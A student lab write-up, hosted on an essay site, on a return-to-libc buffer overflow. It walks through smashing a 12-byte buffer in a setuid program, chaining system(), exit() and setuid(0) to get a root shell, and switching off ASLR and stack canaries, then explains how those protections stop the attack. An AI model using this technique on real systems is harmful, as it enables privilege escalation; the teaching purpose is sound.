Address Randomization And Stack Smash Protection

Print   

02 Nov 2017

Disclaimer:
This essay has been written and submitted by students and is not an example of our work. Please click this link to view samples of our professional work witten by our professional essay writers. Any opinions, findings, conclusions or recommendations expressed in this material are those of the authors and do not necessarily reflect the views of EssayCompany.

This attack is where we smash the stack and insert system () address as return address. Hence the program will return to libc. We need to pass /bin/sh as parameter to system and hence resulting in spawning a shell.

Smashed Stack layout:

The objective is to return to system () proc in libc and call the root shell from normal user mode using "/bin/sh. We need to overflow the buffer by feeding a bad file to a vulnerable program.

int bof (FILE *badfile)

{

char buffer[12];

/* The following statement has a buffer overflow problem */

//getchar();

fread(buffer, sizeof(char), 52, badfile);

return 1;

}

Here we are writing 52 bytes into 12 byte buffer and if we strategically place the addresses of system (), exit () and /bin/sh, we can get the root shell.

Activation record:

We know each call has activation record consisting of

Local variables

Prev frame pointer

Return address

Parameters.

As the stack grows addresses decrement, so the stack grows from high address to low address

/bin/sh address

Exit() address

Return Address – System()

Prev frame pointer /ebp

Buffer Address

EBP 

ESP

Here, we can see that Buffer is allocated certain number of bytes in bof () method. We need to provide enough characters to over flow till the return address. Then in the return address, we provide the system () address. So instead of returning to main () proc, the procedure enters the system () call. It takes argument /bin/sh.

After executing system (), the program need to exit gracefully, so the return address from there is placed in the next address. This is the address of exit ().So system() returns to exit() .

We will write all these addresses into badfile, which will be fed into vulnerable program.

To find out the address of system () call/exit call, we can use p <proc_name> in gdb

To find out the address of /bin/sh address, we need to declare an environment variable called BINSH.

export BINSH="/bin/sh"

I use a program (get_addr.c) to take this string BINSH and find the address of this string. The address provided sometimes gives an offset value and doesn’t give the accurate address. To find the mapping of this address in retlib.I do the following:

 Temporarily put in getchar () in the retlib.

 Run the retlib and ./retlib will wait for character.

 Open another terminal and get the process id using ps –aux | grep retlib

attach the process to gdb : gdb retlib <process_id>

use x/s <address> to get the accurate address of /bin/sh

(*The address might not be same on all machines)

After setting up right addresses in exploit_1 which creates the bad file, we need to run the retlib.We also need to set the stack randomization to 0 using:

sysctl -w kernel.randomize_va_space=0 (which will b explained later).Also we need to set setuid on exe by changing mode to 4755.This will enable the process to run with privileges of the user which created it, in this case root. Also we need to compile retlib with –fno-stack-protector option(to be discussed later).

ubuntu@ubuntu:~/Desktop/code$ ./retlib

#

This is the stack trace of the program:

Breakpoint 1, main (argc=1, argv=0xbffff804) at retlib.c:18

18 badfile = fopen("badfile", "r");

(gdb) n

19 bof(badfile);

(gdb) s

bof (badfile=0x804b008) at retlib.c:12

12 fread(buffer, sizeof(char), 52, badfile);

(gdb) x/16xw $esp

0xbffff700: 0x00000001 0x00283860 0x00283ff4 0x00000000

0xbffff710: 0xbffff728 0x0018a44c 0x080485e2 0x080485e0

0xbffff720: 0x00000001 0x00283ff4 0xbffff758 0x080484f2

0xbffff730: 0x0804b008 0x080485e0 0x08048530 0xbffff758

(gdb) n

13 return 1;

(gdb) x/16xw $esp

0xbffff700: 0xbffff714 0x00000001 0x00000034 0x0804b008

0xbffff710: 0xbffff728 0x90909090 0x90909090 0x90909090

0xbffff720: 0x90909090 0x90909090 0x90909090 0x00167100

0xbffff730: 0x0015d200 0xbffffe13 0x90909090 0x90909090

(gdb) x $ebp

0xbffff728: 0x90909090

As we can see, when I print 16 addresses from esp after reading the badfile , we can see all the addresses.ebp is smashed, return address is 0x00167100 which is system() address. exit () address is 0x0015d200. /bin/sh address is 0xbffffe13.

We need to provide the exit address to exit gracefully from the program, or else the program return to another address and ends with "Segmentation fault" when you exit from the shell which we created.

Output:

ubuntu@ubuntu:~/Desktop/code$ ./retlib

# ls

a.out bad_file.c exploit_2.c get_addr.c sample2

badfile core file_size retlib sample2.c

bad_file exploit_1 file_size.c retlib.c sample.c

bad_file2.c exploit_1.c get_addr sample

# whoami

root

# exit

ubuntu@ubuntu:~/Desktop/code$

Task 2:

This involves calling /bin/bash through system ().The stack smashing is the same as above. But we need to get the address of /bin/bash in same way as /bin/sh.

We feed the address of /bin/bash in exploit_1.c.When we run the retlib now, we get:

ubuntu@ubuntu:~/Desktop/code$ ./retlib

bash-4.1$ whoami

ubuntu

bash-4.1$

We don’t get the root shell. This is because /bin/bash automatically downgrades its privilege if executed in setuid root context. So even if we get bash shell, it won’t be root shell. This puts the restriction on Set-Uid programs. Since we have set 4755, setuid on our exe, this doesn’t work.

Setuid: we need setuid since it will allow the exe file to run with the privileges of that of the owner or the user which creates the process, in this case root.

To over come this, we can use setuid (0).setuid () sets the effective uid, not the real user id.

We turn our process into real root process by using setuid (0) just before calling system ().We need to write the addresses in correct order to call setuid (0) and then system ("/bin/bash").

Argument for system() -/bin/bash address

Argument for setuid -> 0

System()

Setuid

Prev frame pointer /ebp

Buffer Address

Setuid () is first called and takes the argument 0.System’s argument /bin/bash is ignored since setuid takes one argument. It then returns to system () call which takes the argument /bin/bash and spawns a root shell.

ubuntu@ubuntu:~/Desktop/code$ ./retlib

root@ubuntu:~/Desktop/code# whoami

root

root@ubuntu:~/Desktop/code#

(This is the bash shell I get in root mode, even when calling system ("/bin/bash") through program)

Task 3:

Explanation of address randomization and stack smash protection

Address randomization is the process where the addresses of stack or heap in address space of any process is randomized. It makes it impossible for the attackers to guess the addresses on the stack. Address randomization randomizes the stack, heap or code segments. Randomization can be done at compile- or link-time, or by rewriting existing binaries

ubuntu@ubuntu:~/Desktop/code$ cat /proc/self/maps

002a8000-002a9000 r-xp 00000000 00:00 0 [vdso]

00780000-0079b000 r-xp 00000000 00:10 33 /lib/ld-2.11.1.so

0079b000-0079c000 r--p 0001a000 00:10 33 /lib/ld-2.11.1.so

0079c000-0079d000 rw-p 0001b000 00:10 33 /lib/ld-2.11.1.so

00e65000-00fb8000 r-xp 00000000 00:10 46 /lib/tls/i686/cmov/libc-2.11.1.so

00fb8000-00fb9000 ---p 00153000 00:10 46 /lib/tls/i686/cmov/libc-2.11.1.so

00fb9000-00fbb000 r--p 00153000 00:10 46 /lib/tls/i686/cmov/libc-2.11.1.so

00fbb000-00fbc000 rw-p 00155000 00:10 46 /lib/tls/i686/cmov/libc-2.11.1.so

00fbc000-00fbf000 rw-p 00000000 00:00 0

08048000-08054000 r-xp 00000000 00:10 360 /bin/cat

08054000-08055000 r--p 0000b000 00:10 360 /bin/cat

08055000-08056000 rw-p 0000c000 00:10 360 /bin/cat

094ee000-0950f000 rw-p 00000000 00:00 0 [heap]

b75c1000-b7600000 r--p 00000000 00:10 1277 /usr/lib/locale/en_US.utf8/LC_CTYPE

b7600000-b7601000 r--p 00000000 00:10 1278 /usr/lib/locale/en_US.utf8/LC_NUMERIC

b7601000-b7602000 r--p 00000000 00:10 1281 /usr/lib/locale/en_US.utf8/LC_TIME

b7602000-b7720000 r--p 00000000 00:10 1316 /usr/lib/locale/en_US.utf8/LC_COLLATE

b7720000-b7721000 r--p 00000000 00:10 1317 /usr/lib/locale/en_US.utf8/LC_MONETARY

b7721000-b7722000 rw-p 00000000 00:00 0

b7722000-b7723000 r--p 00000000 00:10 1363 /usr/lib/locale/en_US.utf8/LC_MESSAGES/SYS_LC_MESSAGES

b7723000-b7724000 r--p 00000000 00:10 1428 /usr/lib/locale/en_US.utf8/LC_PAPER

b7724000-b7725000 r--p 00000000 00:10 1429 /usr/lib/locale/en_US.utf8/LC_NAME

b7725000-b7726000 r--p 00000000 00:10 1431 /usr/lib/locale/en_US.utf8/LC_ADDRESS

b7726000-b7727000 r--p 00000000 00:10 1486 /usr/lib/locale/en_US.utf8/LC_TELEPHONE

b7727000-b7728000 r--p 00000000 00:10 1529 /usr/lib/locale/en_US.utf8/LC_MEASUREMENT

b7728000-b772f000 r--s 00000000 00:10 818 /usr/lib/gconv/gconv-modules.cache

b772f000-b7730000 r--p 00000000 00:10 1239 /usr/lib/locale/en_US.utf8/LC_IDENTIFICATION

b7730000-b7732000 rw-p 00000000 00:00 0

bf9b3000-bf9c8000 rw-p 00000000 00:00 0 [stack]

Here, we can see this using cat /proc/self/maps which store the mapping of the addresses on stack. Here, stack starts from bf9b3000.

Now if use the command again, we get

ubuntu@ubuntu:~/Desktop/code$ cat /proc/self/maps

00110000-00263000 r-xp 00000000 00:10 46 /lib/tls/i686/cmov/libc-2.11.1.so

00263000-00264000 ---p 00153000 00:10 46 /lib/tls/i686/cmov/libc-2.11.1.so

00264000-00266000 r--p 00153000 00:10 46 /lib/tls/i686/cmov/libc-2.11.1.so

00266000-00267000 rw-p 00155000 00:10 46 /lib/tls/i686/cmov/libc-2.11.1.so

00267000-0026a000 rw-p 00000000 00:00 0

002ce000-002e9000 r-xp 00000000 00:10 33 /lib/ld-2.11.1.so

002e9000-002ea000 r--p 0001a000 00:10 33 /lib/ld-2.11.1.so

002ea000-002eb000 rw-p 0001b000 00:10 33 /lib/ld-2.11.1.so

00ba0000-00ba1000 r-xp 00000000 00:00 0 [vdso]

08048000-08054000 r-xp 00000000 00:10 360 /bin/cat

08054000-08055000 r--p 0000b000 00:10 360 /bin/cat

08055000-08056000 rw-p 0000c000 00:10 360 /bin/cat

09d8a000-09dab000 rw-p 00000000 00:00 0 [heap]

b7755000-b7794000 r--p 00000000 00:10 1277 /usr/lib/locale/en_US.utf8/LC_CTYPE

b7794000-b7795000 r--p 00000000 00:10 1278 /usr/lib/locale/en_US.utf8/LC_NUMERIC

b7795000-b7796000 r--p 00000000 00:10 1281 /usr/lib/locale/en_US.utf8/LC_TIME

b7796000-b78b4000 r--p 00000000 00:10 1316 /usr/lib/locale/en_US.utf8/LC_COLLATE

b78b4000-b78b5000 r--p 00000000 00:10 1317 /usr/lib/locale/en_US.utf8/LC_MONETARY

b78b5000-b78b6000 rw-p 00000000 00:00 0

b78b6000-b78b7000 r--p 00000000 00:10 1363 /usr/lib/locale/en_US.utf8/LC_MESSAGES/SYS_LC_MESSAGES

b78b7000-b78b8000 r--p 00000000 00:10 1428 /usr/lib/locale/en_US.utf8/LC_PAPER

b78b8000-b78b9000 r--p 00000000 00:10 1429 /usr/lib/locale/en_US.utf8/LC_NAME

b78b9000-b78ba000 r--p 00000000 00:10 1431 /usr/lib/locale/en_US.utf8/LC_ADDRESS

b78ba000-b78bb000 r--p 00000000 00:10 1486 /usr/lib/locale/en_US.utf8/LC_TELEPHONE

b78bb000-b78bc000 r--p 00000000 00:10 1529 /usr/lib/locale/en_US.utf8/LC_MEASUREMENT

b78bc000-b78c3000 r--s 00000000 00:10 818 /usr/lib/gconv/gconv-modules.cache

b78c3000-b78c4000 r--p 00000000 00:10 1239 /usr/lib/locale/en_US.utf8/LC_IDENTIFICATION

b78c4000-b78c6000 rw-p 00000000 00:00 0

bfd7b000-bfd90000 rw-p 00000000 00:00 0 [stack]

The stack has been relocated to bfd7b000.This is prevent attackers from guessing the addresses on stack.

Stack Smash Protection: Stack smash happens when a program’s stack gets overwritten involving sequential memory writing. This is mostly the result of buffer overflows.

The protection against this can be done using:

Stack canaries: Place a random value below the prev frame pointer. This is called the canary value. Before exiting the program, this value can be checked. Buffer overflows always write memory from lower to higher address; so the canary value has to be overwritten. Even the canary word can be randomized. If the canary is overwritten, SIGABRT will be sent and abort the process.

Parameters

Return address

Prev frame pointer

Canary

Local variables

Non Executable Stack: we can use CPU’s memory management to mark the stack as non executable and hence when the process enters the stack, the process crashes.

Explain why they can prevent exploit_1 and exploit_2

These protection mechanisms can prevent exploit_1 and exploit_2.

 Both these exploits try to write into stack and execute the process from the stack. Let’s try the retlib program without –fno-stack-protector (to be discussed shortly).when we run the retlib now, we get

ubuntu@ubuntu:~/Desktop/code$ ./retlib

*** stack smashing detected ***: ./retlib terminated

======= Backtrace: =========

/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x50)[0xa85350]

/lib/tls/i686/cmov/libc.so.6(+0xe22fa)[0xa852fa]

./retlib[0x8048578]

[0x167100]

======= Memory map: ========

00110000-0012d000 r-xp 00000000 00:10 2104 /lib/libgcc_s.so.1

0012d000-0012e000 r--p 0001c000 00:10 2104 /lib/libgcc_s.so.1

0012e000-0012f000 rw-p 0001d000 00:10 2104 /lib/libgcc_s.so.1

0033e000-0033f000 r-xp 00000000 00:00 0 [vdso]

007b2000-007cd000 r-xp 00000000 00:10 33 /lib/ld-2.11.1.so

007cd000-007ce000 r--p 0001a000 00:10 33 /lib/ld-2.11.1.so

007ce000-007cf000 rw-p 0001b000 00:10 33 /lib/ld-2.11.1.so

009a3000-00af6000 r-xp 00000000 00:10 46 /lib/tls/i686/cmov/libc-2.11.1.so

00af6000-00af7000 ---p 00153000 00:10 46 /lib/tls/i686/cmov/libc-2.11.1.so

00af7000-00af9000 r--p 00153000 00:10 46 /lib/tls/i686/cmov/libc-2.11.1.so

00af9000-00afa000 rw-p 00155000 00:10 46 /lib/tls/i686/cmov/libc-2.11.1.so

00afa000-00afd000 rw-p 00000000 00:00 0

08048000-08049000 r-xp 00000000 00:10 38155 /home/ubuntu/Desktop/code/retlib

08049000-0804a000 r--p 00000000 00:10 38155 /home/ubuntu/Desktop/code/retlib

0804a000-0804b000 rw-p 00001000 00:10 38155 /home/ubuntu/Desktop/code/retlib

08c94000-08cb5000 rw-p 00000000 00:00 0 [heap]

b7797000-b7798000 rw-p 00000000 00:00 0

b77a4000-b77a8000 rw-p 00000000 00:00 0

bfe2e000-bfe43000 rw-p 00000000 00:00 0 [stack]

Aborted

This is because the canary is corrupted and hence SIGABRT is sent to abort the process. It detects that stack is smashed because of canary value. Hence both exploits fail and it doesn’t step in the return address.

Now let’s try the program by setting sysctl -w kernel.randomize_va_space=2 (to be discussed shortly) and try the retlib program again.

ubuntu@ubuntu:~/Desktop/code$ ./retlib

Segmentation fault (core dumped)

This is because we predetermined the addresses of system (), /bin/sh and exit () on stack. Due to ASLR, the base addresses of memory segments may be modified .Hence it doesn’t enter the system () call or exit (), hence Segmentation fault is caused. Also we can see how the stack shifts due to address randomization using cat /proc/self/maps.

Is it possible to bypass protection mechanism explanation?

Yes it is possible to bypass the protection mechanism.

As mentioned earlier, we can disable the stack smash protection using:

-fno-stack-protector option in gcc. This will disable the canary value and hence doesn’t abort the program. This has to be when the program is being compiled in root mode.

And also, we can set the kernel.randomize_va_space=0 in the root mode, which will prevent the randomization of addresses on stack and all the predetermined values hold well. So the exploit will be successful



rev

Our Service Portfolio

jb

Want To Place An Order Quickly?

Then shoot us a message on Whatsapp, WeChat or Gmail. We are available 24/7 to assist you.

whatsapp

Do not panic, you are at the right place

jb

Visit Our essay writting help page to get all the details and guidence on availing our assiatance service.

Get 20% Discount, Now
£19 £14/ Per Page
14 days delivery time

Our writting assistance service is undoubtedly one of the most affordable writting assistance services and we have highly qualified professionls to help you with your work. So what are you waiting for, click below to order now.

Get An Instant Quote

ORDER TODAY!

Our experts are ready to assist you, call us to get a free quote or order now to get succeed in your academics writing.

Get a Free Quote Order Now